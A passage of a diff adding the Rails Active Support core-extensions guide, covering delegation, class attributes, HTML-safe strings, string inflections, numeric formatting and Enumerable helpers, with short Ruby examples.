+The previous example generates `address_street` rather than `street`.
+
+WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the `:to` option must be a method name.
+
+A custom prefix may also be configured:
+
+```ruby
+delegate :size, to: :attachment, prefix: :avatar
+```
+
+In the previous example the macro generates `avatar_size` rather than `size`.
+
+NOTE: Defined in `active_support/core_ext/module/delegation.rb`
+
+### Redefining Methods
+
+There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
+
+The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:
+
+```ruby
+redefine_method("#{reflection.name}=") do |new_value|
+  association = association_instance_get(reflection.name)
+
+  if association.nil? || association.target != new_value
+    association = association_proxy_class.new(self, reflection)
+  end
+
+  association.replace(new_value)
+  association_instance_set(reflection.name, new_value.nil? ? nil : association)
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/remove_method.rb`
+
+Extensions to `Class`
+---------------------
+
+### Class Attributes
+
+#### `class_attribute`
+
+The method `class_attribute` declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
+
+```ruby
+class A
+  class_attribute :x
+end
+
+class B < A; end
+
+class C < B; end
+
+A.x = :a
+B.x # => :a
+C.x # => :a
+
+B.x = :b
+A.x # => :a
+C.x # => :b
+
+C.x = :c
+A.x # => :a
+B.x # => :b
+```
+
+For example `ActionMailer::Base` defines:
+
+```ruby
+class_attribute :default_params
+self.default_params = {
+  mime_version: "1.0",
+  charset: "UTF-8",
+  content_type: "text/plain",
+  parts_order: [ "text/plain", "text/enriched", "text/html" ]
+}.freeze
+```
+
+They can be also accessed and overridden at the instance level.
+
+```ruby
+A.x = 1
+
+a1 = A.new
+a2 = A.new
+a2.x = 2
+
+a1.x # => 1, comes from A
+a2.x # => 2, overridden in a2
+```
+
+The generation of the writer instance method can be prevented by setting the option `:instance_writer` to `false`.
+
+```ruby
+module ActiveRecord
+  class Base
+    class_attribute :table_name_prefix, instance_writer: false
+    self.table_name_prefix = ""
+  end
+end
+```
+
+A model may find that option useful as a way to prevent mass-assignment from setting the attribute.
+
+The generation of the reader instance method can be prevented by setting the option `:instance_reader` to `false`.
+
+```ruby
+class A
+  class_attribute :x, instance_reader: false
+end
+
+A.new.x = 1 # NoMethodError
+```
+
+For convenience `class_attribute` also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called `x?`.
+
+When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method.
+
+If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined.
+
+NOTE: Defined in `active_support/core_ext/class/attribute.rb`
+
+#### `cattr_reader`, `cattr_writer`, and `cattr_accessor`
+
+The macros `cattr_reader`, `cattr_writer`, and `cattr_accessor` are analogous to their `attr_*` counterparts but for classes. They initialize a class variable to `nil` unless it already exists, and generate the corresponding class methods to access it:
+
+```ruby
+class MysqlAdapter < AbstractAdapter
+  # Generates class methods to access @@emulate_booleans.
+  cattr_accessor :emulate_booleans
+  self.emulate_booleans = true
+end
+```
+
+Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with `class_attribute` (see above). For example given
+
+```ruby
+module ActionView
+  class Base
+    cattr_accessor :field_error_proc
+    @@field_error_proc = Proc.new{ ... }
+  end
+end
+```
+
+we can access `field_error_proc` in views.
+
+Also, you can pass a block to `cattr_*` to set up the attribute with a default value:
+
+```ruby
+class MysqlAdapter < AbstractAdapter
+  # Generates class methods to access @@emulate_booleans with default value of true.
+  cattr_accessor(:emulate_booleans) { true }
+end
+```
+
+The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value.
+
+```ruby
+module A
+  class B
+    # No first_name instance reader is generated.
+    cattr_accessor :first_name, instance_reader: false
+    # No last_name= instance writer is generated.
+    cattr_accessor :last_name, instance_writer: false
+    # No surname instance reader or surname= writer is generated.
+    cattr_accessor :surname, instance_accessor: false
+  end
+end
+```
+
+A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute.
+
+NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`.
+
+### Subclasses & Descendants
+
+#### `subclasses`
+
+The `subclasses` method returns the subclasses of the receiver:
+
+```ruby
+class C; end
+C.subclasses # => []
+
+class B < C; end
+C.subclasses # => [B]
+
+class A < B; end
+C.subclasses # => [B]
+
+class D < C; end
+C.subclasses # => [B, D]
+```
+
+The order in which these classes are returned is unspecified.
+
+NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
+
+#### `descendants`
+
+The `descendants` method returns all classes that are `<` than its receiver:
+
+```ruby
+class C; end
+C.descendants # => []
+
+class B < C; end
+C.descendants # => [B]
+
+class A < B; end
+C.descendants # => [B, A]
+
+class D < C; end
+C.descendants # => [B, A, D]
+```
+
+The order in which these classes are returned is unspecified.
+
+NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
+
+Extensions to `String`
+----------------------
+
+### Output Safety
+
+#### Motivation
+
+Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in t [...]
+
+#### Safe Strings
+
+Active Support has the concept of <i>(html) safe</i> strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
+
+Strings are considered to be <i>unsafe</i> by default:
+
+```ruby
+"".html_safe? # => false
+```
+
+You can obtain a safe string from a given one with the `html_safe` method:
+
+```ruby
+s = "".html_safe
+s.html_safe? # => true
+```
+
+It is important to understand that `html_safe` performs no escaping whatsoever, it is just an assertion:
+
+```ruby
+s = "<script>...</script>".html_safe
+s.html_safe? # => true
+s            # => "<script>...</script>"
+```
+
+It is your responsibility to ensure calling `html_safe` on a particular string is fine.
+
+If you append onto a safe string, either in-place with `concat`/`<<`, or with `+`, the result is a safe string. Unsafe arguments are escaped:
+
+```ruby
+"".html_safe + "<" # => "<"
+```
+
+Safe arguments are directly appended:
+
+```ruby
+"".html_safe + "<".html_safe # => "<"
+```
+
+These methods should not be used in ordinary views. Unsafe values are automatically escaped:
+
+```erb
+<%= @review.title %> <%# fine, escaped if needed %>
+```
+
+To insert something verbatim use the `raw` helper rather than calling `html_safe`:
+
+```erb
+<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
+```
+
+or, equivalently, use `<%==`:
+
+```erb
+<%== @cms.current_template %> <%# inserts @cms.current_template as is %>
+```
+
+The `raw` helper calls `html_safe` for you:
+
+```ruby
+def raw(stringish)
+  stringish.to_s.html_safe
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/output_safety.rb`.
+
+#### Transformation
+
+As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are `downcase`, `gsub`, `strip`, `chomp`, `underscore`, etc.
+
+In the case of in-place transformations like `gsub!` the receiver itself becomes unsafe.
+
+INFO: The safety bit is lost always, no matter whether the transformation actually changed something.
+
+#### Conversion and Coercion
+
+Calling `to_s` on a safe string returns a safe string, but coercion with `to_str` returns an unsafe string.
+
+#### Copying
+
+Calling `dup` or `clone` on safe strings yields safe strings.
+
+### `remove`
+
+The method `remove` will remove all occurrences of the pattern:
+
+```ruby
+"Hello World".remove(/Hello /) => "World"
+```
+
+There's also the destructive version `String#remove!`.
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
+### `squish`
+
+The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
+
+```ruby
+" \n  foo\n\r \t bar \n".squish # => "foo bar"
+```
+
+There's also the destructive version `String#squish!`.
+
+Note that it handles both ASCII and Unicode whitespace like mongolian vowel separator (U+180E).
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
+### `truncate`
+
+The method `truncate` returns a copy of its receiver truncated after a given `length`:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(20)
+# => "Oh dear! Oh dear!..."
+```
+
+Ellipsis can be customized with the `:omission` option:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '…')
+# => "Oh dear! Oh …"
+```
+
+Note in particular that truncation takes into account the length of the omission string.
+
+Pass a `:separator` to truncate the string at a natural break:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(18)
+# => "Oh dear! Oh dea..."
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ')
+# => "Oh dear! Oh..."
+```
+
+The option `:separator` can be a regexp:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/)
+# => "Oh dear! Oh..."
+```
+
+In above examples "dear" gets cut first, but then `:separator` prevents it.
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
+### `inquiry`
+
+The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier.
+
+```ruby
+"production".inquiry.production? # => true
+"active".inquiry.inactive?       # => false
+```
+
+### `starts_with?` and `ends_with?`
+
+Active Support defines 3rd person aliases of `String#start_with?` and `String#end_with?`:
+
+```ruby
+"foo".starts_with?("f") # => true
+"foo".ends_with?("o")   # => true
+```
+
+NOTE: Defined in `active_support/core_ext/string/starts_ends_with.rb`.
+
+### `strip_heredoc`
+
+The method `strip_heredoc` strips indentation in heredocs.
+
+For example in
+
+```ruby
+if options[:usage]
+  puts <<-USAGE.strip_heredoc
+    This command does such and such.
+
+    Supported options are:
+      -h         This message
+      ...
+  USAGE
+end
+```
+
+the user would see the usage message aligned against the left margin.
+
+Technically, it looks for the least indented line in the whole string, and removes
+that amount of leading whitespace.
+
+NOTE: Defined in `active_support/core_ext/string/strip.rb`.
+
+### `indent`
+
+Indents the lines in the receiver:
+
+```ruby
+<<EOS.indent(2)
+def some_method
+  some_code
+end
+EOS
+# =>
+  def some_method
+    some_code
+  end
+```
+
+The second argument, `indent_string`, specifies which indent string to use. The default is `nil`, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.
+
+```ruby
+"  foo".indent(2)        # => "    foo"
+"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
+"foo".indent(2, "\t")    # => "\t\tfoo"
+```
+
+While `indent_string` is typically one space or tab, it may be any string.
+
+The third argument, `indent_empty_lines`, is a flag that says whether empty lines should be indented. Default is false.
+
+```ruby
+"foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
+"foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"
+```
+
+The `indent!` method performs indentation in-place.
+
+NOTE: Defined in `active_support/core_ext/string/indent.rb`.
+
+### Access
+
+#### `at(position)`
+
+Returns the character of the string at position `position`:
+
+```ruby
+"hello".at(0)  # => "h"
+"hello".at(4)  # => "o"
+"hello".at(-1) # => "o"
+"hello".at(10) # => nil
+```
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `from(position)`
+
+Returns the substring of the string starting at position `position`:
+
+```ruby
+"hello".from(0)  # => "hello"
+"hello".from(2)  # => "llo"
+"hello".from(-2) # => "lo"
+"hello".from(10) # => "" if < 1.9, nil in 1.9
+```
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `to(position)`
+
+Returns the substring of the string up to position `position`:
+
+```ruby
+"hello".to(0)  # => "h"
+"hello".to(2)  # => "hel"
+"hello".to(-2) # => "hell"
+"hello".to(10) # => "hello"
+```
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `first(limit = 1)`
+
+The call `str.first(n)` is equivalent to `str.to(n-1)` if `n` > 0, and returns an empty string for `n` == 0.
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `last(limit = 1)`
+
+The call `str.last(n)` is equivalent to `str.from(-n)` if `n` > 0, and returns an empty string for `n` == 0.
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+### Inflections
+
+#### `pluralize`
+
+The method `pluralize` returns the plural of its receiver:
+
+```ruby
+"table".pluralize     # => "tables"
+"ruby".pluralize      # => "rubies"
+"equipment".pluralize # => "equipment"
+```
+
+As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments.
+
+`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned:
+
+```ruby
+"dude".pluralize(0) # => "dudes"
+"dude".pluralize(1) # => "dude"
+"dude".pluralize(2) # => "dudes"
+```
+
+Active Record uses this method to compute the default table name that corresponds to a model:
+
+```ruby
+# active_record/model_schema.rb
+def undecorated_table_name(class_name = base_class.name)
+  table_name = class_name.to_s.demodulize.underscore
+  pluralize_table_names ? table_name.pluralize : table_name
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `singularize`
+
+The inverse of `pluralize`:
+
+```ruby
+"tables".singularize    # => "table"
+"rubies".singularize    # => "ruby"
+"equipment".singularize # => "equipment"
+```
+
+Associations compute the name of the corresponding default associated class using this method:
+
+```ruby
+# active_record/reflection.rb
+def derive_class_name
+  class_name = name.to_s.camelize
+  class_name = class_name.singularize if collection?
+  class_name
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `camelize`
+
+The method `camelize` returns its receiver in camel case:
+
+```ruby
+"product".camelize    # => "Product"
+"admin_user".camelize # => "AdminUser"
+```
+
+As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:
+
+```ruby
+"backoffice/session".camelize # => "Backoffice::Session"
+```
+
+For example, Action Pack uses this method to load the class that provides a certain session store:
+
+```ruby
+# action_controller/metal/session_management.rb
+def session_store=(store)
+  @@session_store = store.is_a?(Symbol) ?
+    ActionDispatch::Session.const_get(store.to_s.camelize) :
+    store
+end
+```
+
+`camelize` accepts an optional argument, it can be `:upper` (default), or `:lower`. With the latter the first letter becomes lowercase:
+
+```ruby
+"visual_effect".camelize(:lower) # => "visualEffect"
+```
+
+That may be handy to compute method names in a language that follows that convention, for example JavaScript.
+
+INFO: As a rule of thumb you can think of `camelize` as the inverse of `underscore`, though there are cases where that does not hold: `"SSLError".underscore.camelize` gives back `"SslError"`. To support cases such as this, Active Support allows you to specify acronyms in `config/initializers/inflections.rb`:
+
+```ruby
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.acronym 'SSL'
+end
+
+"SSLError".underscore.camelize # => "SSLError"
+```
+
+`camelize` is aliased to `camelcase`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `underscore`
+
+The method `underscore` goes the other way around, from camel case to paths:
+
+```ruby
+"Product".underscore   # => "product"
+"AdminUser".underscore # => "admin_user"
+```
+
+Also converts "::" back to "/":
+
+```ruby
+"Backoffice::Session".underscore # => "backoffice/session"
+```
+
+and understands strings that start with lowercase:
+
+```ruby
+"visualEffect".underscore # => "visual_effect"
+```
+
+`underscore` accepts no argument though.
+
+Rails class and module autoloading uses `underscore` to infer the relative path without extension of a file that would define a given missing constant:
+
+```ruby
+# active_support/dependencies.rb
+def load_missing_constant(from_mod, const_name)
+  ...
+  qualified_name = qualified_name_for from_mod, const_name
+  path_suffix = qualified_name.underscore
+  ...
+end
+```
+
+INFO: As a rule of thumb you can think of `underscore` as the inverse of `camelize`, though there are cases where that does not hold. For example, `"SSLError".underscore.camelize` gives back `"SslError"`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `titleize`
+
+The method `titleize` capitalizes the words in the receiver:
+
+```ruby
+"alice in wonderland".titleize # => "Alice In Wonderland"
+"fermat's enigma".titleize     # => "Fermat's Enigma"
+```
+
+`titleize` is aliased to `titlecase`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `dasherize`
+
+The method `dasherize` replaces the underscores in the receiver with dashes:
+
+```ruby
+"name".dasherize         # => "name"
+"contact_data".dasherize # => "contact-data"
+```
+
+The XML serializer of models uses this method to dasherize node names:
+
+```ruby
+# active_model/serializers/xml.rb
+def reformat_name(name)
+  name = name.camelize if camelize?
+  dasherize? ? name.dasherize : name
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `demodulize`
+
+Given a string with a qualified constant name, `demodulize` returns the very constant name, that is, the rightmost part of it:
+
+```ruby
+"Product".demodulize                        # => "Product"
+"Backoffice::UsersController".demodulize    # => "UsersController"
+"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
+```
+
+Active Record for example uses this method to compute the name of a counter cache column:
+
+```ruby
+# active_record/reflection.rb
+def counter_cache_column
+  if options[:counter_cache] == true
+    "#{active_record.name.demodulize.underscore.pluralize}_count"
+  elsif options[:counter_cache]
+    options[:counter_cache]
+  end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `deconstantize`
+
+Given a string with a qualified constant reference expression, `deconstantize` removes the rightmost segment, generally leaving the name of the constant's container:
+
+```ruby
+"Product".deconstantize                        # => ""
+"Backoffice::UsersController".deconstantize    # => "Backoffice"
+"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
+```
+
+Active Support for example uses this method in `Module#qualified_const_set`:
+
+```ruby
+def qualified_const_set(path, value)
+  QualifiedConstUtils.raise_if_absolute(path)
+
+  const_name = path.demodulize
+  mod_name = path.deconstantize
+  mod = mod_name.empty? ? self : qualified_const_get(mod_name)
+  mod.const_set(const_name, value)
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `parameterize`
+
+The method `parameterize` normalizes its receiver in a way that can be used in pretty URLs.
+
+```ruby
+"John Smith".parameterize # => "john-smith"
+"Kurt Gödel".parameterize # => "kurt-godel"
+```
+
+In fact, the result string is wrapped in an instance of `ActiveSupport::Multibyte::Chars`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `tableize`
+
+The method `tableize` is `underscore` followed by `pluralize`.
+
+```ruby
+"Person".tableize      # => "people"
+"Invoice".tableize     # => "invoices"
+"InvoiceLine".tableize # => "invoice_lines"
+```
+
+As a rule of thumb, `tableize` returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight `tableize` indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `classify`
+
+The method `classify` is the inverse of `tableize`. It gives you the class name corresponding to a table name:
+
+```ruby
+"people".classify        # => "Person"
+"invoices".classify      # => "Invoice"
+"invoice_lines".classify # => "InvoiceLine"
+```
+
+The method understands qualified table names:
+
+```ruby
+"highrise_production.companies".classify # => "Company"
+```
+
+Note that `classify` returns a class name as a string. You can get the actual class object invoking `constantize` on it, explained next.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `constantize`
+
+The method `constantize` resolves the constant reference expression in its receiver:
+
+```ruby
+"Fixnum".constantize # => Fixnum
+
+module M
+  X = 1
+end
+"M::X".constantize # => 1
+```
+
+If the string evaluates to no known constant, or its content is not even a valid constant name, `constantize` raises `NameError`.
+
+Constant name resolution by `constantize` starts always at the top-level `Object` even if there is no leading "::".
+
+```ruby
+X = :in_Object
+module M
+  X = :in_M
+
+  X                 # => :in_M
+  "::X".constantize # => :in_Object
+  "X".constantize   # => :in_Object (!)
+end
+```
+
+So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.
+
+Mailer test cases obtain the mailer being tested from the name of the test class using `constantize`:
+
+```ruby
+# action_mailer/test_case.rb
+def determine_default_mailer(name)
+  name.sub(/Test$/, '').constantize
+rescue NameError => e
+  raise NonInferrableMailerError.new(name)
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `humanize`
+
+The method `humanize` gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:
+
+```ruby
+"name".humanize           # => "Name"
+"author_id".humanize      # => "Author"
+"comments_count".humanize # => "Comments count"
+```
+
+The capitalization of the first word can be turned off by setting the optional parameter `capitalize` to false:
+
+```ruby
+"author_id".humanize(capitalize: false) # => "author"
+```
+
+The helper method `full_messages` uses `humanize` as a fallback to include attribute names:
+
+```ruby
+def full_messages
+  full_messages = []
+
+  each do |attribute, messages|
+    ...
+    attr_name = attribute.to_s.gsub('.', '_').humanize
+    attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
+    ...
+  end
+
+  full_messages
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `foreign_key`
+
+The method `foreign_key` gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
+
+```ruby
+"User".foreign_key           # => "user_id"
+"InvoiceLine".foreign_key    # => "invoice_line_id"
+"Admin::Session".foreign_key # => "session_id"
+```
+
+Pass a false argument if you do not want the underscore in "_id":
+
+```ruby
+"User".foreign_key(false) # => "userid"
+```
+
+Associations use this method to infer foreign keys, for example `has_one` and `has_many` do this:
+
+```ruby
+# active_record/associations.rb
+foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+### Conversions
+
+#### `to_date`, `to_time`, `to_datetime`
+
+The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wrappers around `Date._parse`:
+
+```ruby
+"2010-07-27".to_date              # => Tue, 27 Jul 2010
+"2010-07-27 23:37:00".to_time     # => Tue Jul 27 23:37:00 UTC 2010
+"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
+```
+
+`to_time` receives an optional argument `:utc` or `:local`, to indicate which time zone you want the time in:
+
+```ruby
+"2010-07-27 23:42:00".to_time(:utc)   # => Tue Jul 27 23:42:00 UTC 2010
+"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010
+```
+
+Default is `:utc`.
+
+Please refer to the documentation of `Date._parse` for further details.
+
+INFO: The three of them return `nil` for blank receivers.
+
+NOTE: Defined in `active_support/core_ext/string/conversions.rb`.
+
+Extensions to `Numeric`
+-----------------------
+
+### Bytes
+
+All numbers respond to these methods:
+
+```ruby
+bytes
+kilobytes
+megabytes
+gigabytes
+terabytes
+petabytes
+exabytes
+```
+
+They return the corresponding amount of bytes, using a conversion factor of 1024:
+
+```ruby
+2.kilobytes   # => 2048
+3.megabytes   # => 3145728
+3.5.gigabytes # => 3758096384
+-4.exabytes   # => -4611686018427387904
+```
+
+Singular forms are aliased so you are able to say:
+
+```ruby
+1.megabyte # => 1048576
+```
+
+NOTE: Defined in `active_support/core_ext/numeric/bytes.rb`.
+
+### Time
+
+Enables the use of time calculations and declarations, like `45.minutes + 2.hours + 4.years`.
+
+These methods use Time#advance for precise date calculations when using from_now, ago, etc.
+as well as adding or subtracting their results from a Time object. For example:
+
+```ruby
+# equivalent to Time.current.advance(months: 1)
+1.month.from_now
+
+# equivalent to Time.current.advance(years: 2)
+2.years.from_now
+
+# equivalent to Time.current.advance(months: 4, years: 5)
+(4.months + 5.years).from_now
+```
+
+While these methods provide precise calculation when used as in the examples above, care
+should be taken to note that this is not true if the result of `months', `years', etc is
+converted before use:
+
+```ruby
+# equivalent to 30.days.to_i.from_now
+1.month.to_i.from_now
+
+# equivalent to 365.25.days.to_f.from_now
+1.year.to_f.from_now
+```
+
+In such cases, Ruby's core [Date](http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html) and
+[Time](http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html) should be used for precision
+date and time arithmetic.
+
+NOTE: Defined in `active_support/core_ext/numeric/time.rb`.
+
+### Formatting
+
+Enables the formatting of numbers in a variety of ways.
+
+Produce a string representation of a number as a telephone number:
+
+```ruby
+5551234.to_s(:phone)
+# => 555-1234
+1235551234.to_s(:phone)
+# => 123-555-1234
+1235551234.to_s(:phone, area_code: true)
+# => (123) 555-1234
+1235551234.to_s(:phone, delimiter: " ")
+# => 123 555 1234
+1235551234.to_s(:phone, area_code: true, extension: 555)
+# => (123) 555-1234 x 555
+1235551234.to_s(:phone, country_code: 1)
+# => +1-123-555-1234
+```
+
+Produce a string representation of a number as currency:
+
+```ruby
+1234567890.50.to_s(:currency)                 # => $1,234,567,890.50
+1234567890.506.to_s(:currency)                # => $1,234,567,890.51
+1234567890.506.to_s(:currency, precision: 3)  # => $1,234,567,890.506
+```
+
+Produce a string representation of a number as a percentage:
+
+```ruby
+100.to_s(:percentage)
+# => 100.000%
+100.to_s(:percentage, precision: 0)
+# => 100%
+1000.to_s(:percentage, delimiter: '.', separator: ',')
+# => 1.000,000%
+302.24398923423.to_s(:percentage, precision: 5)
+# => 302.24399%
+```
+
+Produce a string representation of a number in delimited form:
+
+```ruby
+12345678.to_s(:delimited)                     # => 12,345,678
+12345678.05.to_s(:delimited)                  # => 12,345,678.05
+12345678.to_s(:delimited, delimiter: ".")     # => 12.345.678
+12345678.to_s(:delimited, delimiter: ",")     # => 12,345,678
+12345678.05.to_s(:delimited, separator: " ")  # => 12,345,678 05
+```
+
+Produce a string representation of a number rounded to a precision:
+
+```ruby
+111.2345.to_s(:rounded)                     # => 111.235
+111.2345.to_s(:rounded, precision: 2)       # => 111.23
+13.to_s(:rounded, precision: 5)             # => 13.00000
+389.32314.to_s(:rounded, precision: 0)      # => 389
+111.2345.to_s(:rounded, significant: true)  # => 111
+```
+
+Produce a string representation of a number as a human-readable number of bytes:
+
+```ruby
+123.to_s(:human_size)            # => 123 Bytes
+1234.to_s(:human_size)           # => 1.21 KB
+12345.to_s(:human_size)          # => 12.1 KB
+1234567.to_s(:human_size)        # => 1.18 MB
+1234567890.to_s(:human_size)     # => 1.15 GB
+1234567890123.to_s(:human_size)  # => 1.12 TB
+```
+
+Produce a string representation of a number in human-readable words:
+
+```ruby
+123.to_s(:human)               # => "123"
+1234.to_s(:human)              # => "1.23 Thousand"
+12345.to_s(:human)             # => "12.3 Thousand"
+1234567.to_s(:human)           # => "1.23 Million"
+1234567890.to_s(:human)        # => "1.23 Billion"
+1234567890123.to_s(:human)     # => "1.23 Trillion"
+1234567890123456.to_s(:human)  # => "1.23 Quadrillion"
+```
+
+NOTE: Defined in `active_support/core_ext/numeric/conversions.rb`.
+
+Extensions to `Integer`
+-----------------------
+
+### `multiple_of?`
+
+The method `multiple_of?` tests whether an integer is multiple of the argument:
+
+```ruby
+2.multiple_of?(1) # => true
+1.multiple_of?(2) # => false
+```
+
+NOTE: Defined in `active_support/core_ext/integer/multiple.rb`.
+
+### `ordinal`
+
+The method `ordinal` returns the ordinal suffix string corresponding to the receiver integer:
+
+```ruby
+1.ordinal    # => "st"
+2.ordinal    # => "nd"
+53.ordinal   # => "rd"
+2009.ordinal # => "th"
+-21.ordinal  # => "st"
+-134.ordinal # => "th"
+```
+
+NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
+
+### `ordinalize`
+
+The method `ordinalize` returns the ordinal string corresponding to the receiver integer. In comparison, note that the `ordinal` method returns **only** the suffix string.
+
+```ruby
+1.ordinalize    # => "1st"
+2.ordinalize    # => "2nd"
+53.ordinalize   # => "53rd"
+2009.ordinalize # => "2009th"
+-21.ordinalize  # => "-21st"
+-134.ordinalize # => "-134th"
+```
+
+NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
+
+Extensions to `BigDecimal`
+--------------------------
+### `to_s`
+
+The method `to_s` is aliased to `to_formatted_s`. This provides a convenient way to display a BigDecimal value in floating-point notation:
+
+```ruby
+BigDecimal.new(5.00, 6).to_s  # => "5.0"
+```
+
+### `to_formatted_s`
+
+Te method `to_formatted_s` provides a default specifier of "F".  This means that a simple call to `to_formatted_s` or `to_s` will result in floating point representation instead of engineering notation:
+
+```ruby
+BigDecimal.new(5.00, 6).to_formatted_s  # => "5.0"
+```
+
+and that symbol specifiers are also supported:
+
+```ruby
+BigDecimal.new(5.00, 6).to_formatted_s(:db)  # => "5.0"
+```
+
+Engineering notation is still supported:
+
+```ruby
+BigDecimal.new(5.00, 6).to_formatted_s("e")  # => "0.5E1"
+```
+
+Extensions to `Enumerable`
+--------------------------
+
+### `sum`
+
+The method `sum` adds the elements of an enumerable:
+
+```ruby
+[1, 2, 3].sum # => 6
+(1..100).sum  # => 5050
+```
+
+Addition only assumes the elements respond to `+`:
+
+```ruby
+[[1, 2], [2, 3], [3, 4]].sum    # => [1, 2, 2, 3, 3, 4]
+%w(foo bar baz).sum             # => "foobarbaz"
+{a: 1, b: 2, c: 3}.sum # => [:b, 2, :c, 3, :a, 1]
+```
+
+The sum of an empty collection is zero by default, but this is customizable:
+
+```ruby
+[].sum    # => 0
+[].sum(1) # => 1
+```
+
+If a block is given, `sum` becomes an iterator that yields the elements of the collection and sums the returned values:
+
+```ruby
+(1..5).sum {|n| n * 2 } # => 30
+[2, 4, 6, 8, 10].sum    # => 30
+```
+
+The sum of an empty receiver can be customized in this form as well:
+
+```ruby
+[].sum(1) {|n| n**3} # => 1
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `index_by`
+
+The method `index_by` generates a hash with the elements of an enumerable indexed by some key.
+
+It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:
+
+```ruby
+invoices.index_by(&:number)
+# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
+```
+
+WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `many?`
+
+The method `many?` is shorthand for `collection.size > 1`:
+
+```erb
+<% if pages.many? %>
